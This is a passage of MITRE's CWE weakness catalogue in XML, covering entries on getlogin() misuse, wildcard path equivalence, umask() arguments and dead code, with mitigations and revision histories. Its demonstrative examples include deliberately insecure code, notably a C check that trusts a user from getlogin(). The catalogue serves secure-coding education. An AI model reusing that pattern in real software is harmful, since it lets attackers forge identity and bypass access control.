					          <Relationship_Target_ID>266</Relationship_Target_ID>
					          <!--Incorrect Privilege Assignment-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>723</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A2 - Broken Access Control-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>898</Relationship_Target_ID>
					          <!--SFP Cluster: Authentication-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use the least privilege principle.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Anonymous Tool Vendor (under NDA)">
					          <Mapped_Node_Name/>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Anonymous Tool Vendor (under NDA)</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">ASP.NET Misconfiguration:
						Identity Impersonation</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="558" Name="Use of getlogin() in Multithreaded Application" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The application uses the getlogin() function in a multithreaded
					context, potentially causing it to return incorrect
					values.</Description_Summary>
				        <Extended_Description>
					          <Text>The getlogin() function returns a pointer to a string that contains the
						name of the user associated with the calling process. The function is not
						reentrant, meaning that if it is called from another process, the contents
						are not locked out and the value of the string can be changed by another
						process. This makes it very risky to use because the username can be changed
						by other processes, so the results of the function cannot be trusted.
					</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>663</Relationship_Target_ID>
					          <!--Use of a Non-reentrant Function in a Concurrent Context-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>557</Relationship_Target_ID>
					          <!--Concurrency Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>227</Relationship_Target_ID>
					          <!--Improper Fulfillment of API Contract ('API Abuse')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>887</Relationship_Target_ID>
					          <!--SFP Cluster: API-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Using names for security purposes is not advised. Names are easy to
							forge and can have overlapping user IDs, potentially causing confusion
							or impersonation.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use getlogin_r() instead, which is reentrant, meaning that other
							processes are locked out from changing the username.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following code relies on getlogin() to determine whether or not
						a user is trusted. It is easily subverted.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>pwd = getpwnam(getlogin());</Code>
							              <Code>if (isTrustedGroup(pwd-&gt;pw_gid)) {</Code>
							              <Block>
								                <Code>allow();</Code>
							              </Block>
							              <Code>} else {</Code>
							              <Block>
								                <Code>deny();</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Often Misused: Authentication</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Anonymous Tool Vendor (under NDA)</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Description, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Misused Authentication:
						getlogin()</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="56" Name="Path Equivalence: 'filedir*' (Wildcard)" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>A software system that accepts path input in the form of
					asterisk wildcard ('filedir*') without appropriate validation can lead to
					ambiguous path resolution and allow an attacker to traverse the file system to
					unintended locations or access arbitrary files.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>41</Relationship_Target_ID>
					          <!--Improper Resolution of Path Equivalence-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>155</Relationship_Target_ID>
					          <!--Improper Neutralization of Wildcards or Matching Symbols-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>893</Relationship_Target_ID>
					          <!--SFP Cluster: Path Resolution-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0696</Observed_Example_Reference>
					          <Observed_Example_Description>List directories using desired path and
						"*"</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0433</Observed_Example_Reference>
					          <Observed_Example_Description>List files in web server using
						"*.ext"</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>filedir* (asterisk / wildcard)</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Path Issue - Asterisk
						Wildcard - filedir*</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="560" Name="Use of umask() with chmod-style Argument" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The product calls umask() with an incorrect argument that is
					specified as if it is an argument to chmod().</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>687</Relationship_Target_ID>
					          <!--Function Call With Incorrectly Specified Argument Value-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>559</Relationship_Target_ID>
					          <!--Often Misused: Arguments and Parameters-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>899</Relationship_Target_ID>
					          <!--SFP Cluster: Access Control-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>The umask() man page begins with the false statement: "umask sets the
						umask to mask &amp; 0777" Although this behavior would better align with the
						usage of chmod(), where the user provided argument specifies the bits to
						enable on the specified file, the behavior of umask() is in fact opposite:
						umask() sets the umask to ~mask &amp; 0777. The umask() man page goes on to
						describe the correct usage of umask(): "The umask is used by open() to set
						initial file permissions on a newly-created file. Specifically, permissions
						in the umask are turned off from the mode argument to open(2) (so, for
						example, the common umask default value of 022 results in new files being
						created with permissions 0666 &amp; ~022 = 0644 = rw-r--r-- in the usual
						case where the mode is specified as 0666)."</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use umask() with the correct argument.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>If you suspect misuse of umask(), you can use grep to spot call
							instances of umask().</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Anonymous Tool Vendor (under NDA)">
					          <Mapped_Node_Name/>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Anonymous Tool Vendor (under NDA)</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Often Misused:
						umask()</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="561" Name="Dead Code" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The software contains dead code, which can never be
					executed.</Description_Summary>
				        <Extended_Description>
					          <Text>Dead code is source code that can never be executed in a running program.
						The surrounding code makes it impossible for a section of code to ever be
						executed.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>398</Relationship_Target_ID>
					          <!--Indicator of Poor Code Quality-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>747</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 49 - Miscellaneous (MSC)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>883</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>886</Relationship_Target_ID>
					          <!--SFP Cluster: Unused entities-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Quality degradation</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Dead code that results from code that can never be executed is an
							indication of problems with the source code that needs to be fixed and
							is an indication of poor quality.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Remove dead code before deploying the application.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use a static analysis tool to spot dead code.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The condition for the second if statement is impossible to satisfy.
						It requires that the variables be non-null, while on the only path where s
						can be assigned a non-null value there is a return statement.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>String s = null;</Code>
							              <Code>if (b) {</Code>
							              <Block>
								                <Code>s = "Yes";</Code>
								                <Code>return;</Code>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Code>if (s != null) {</Code>
							              <Block>
								                <Code>Dead();</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>In the following class, two private methods call each other, but
						since neither one is ever invoked from anywhere else, they are both dead
						code.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public class DoubleDead {</Code>
							              <Block>
								                <Code>private void doTweedledee() {</Code>
								                <Block>
									                  <Code>doTweedledumb();</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>private void doTweedledumb() {</Code>
								                <Block>
									                  <Code>doTweedledee();</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>public static void main(String[] args) {</Code>
								                <Block>
									                  <Code>System.out.println("running DoubleDead");</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>(In this case it is a good thing that the methods are dead: invoking
							either one would cause an infinite loop.)</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>The field named glue is not used in the following class. The author
						of the class has accidentally put quotes around the field name, transforming
						it into a string constant.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public class Dead {</Code>
							              <Block>
								                <Code>String glue;</Code>
								                <Code/>
								                <Code>public String getGlue() {</Code>
								                <Block>
									                  <Code>return "glue";</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Anonymous Tool Vendor (under NDA)">
					          <Mapped_Node_Name/>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Detect and remove dead code</Mapped_Node_Name>
					          <Mapped_Node_ID>MSC07-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Detect and remove dead code</Mapped_Node_Name>
					          <Mapped_Node_ID>MSC07-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Anonymous Tool Vendor (under NDA)</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="562" Name="Return of Stack Variable Address" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>A function returns the address of a stack variable, which will
					cause unintended program behavior, typically in the form of a
					crash.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
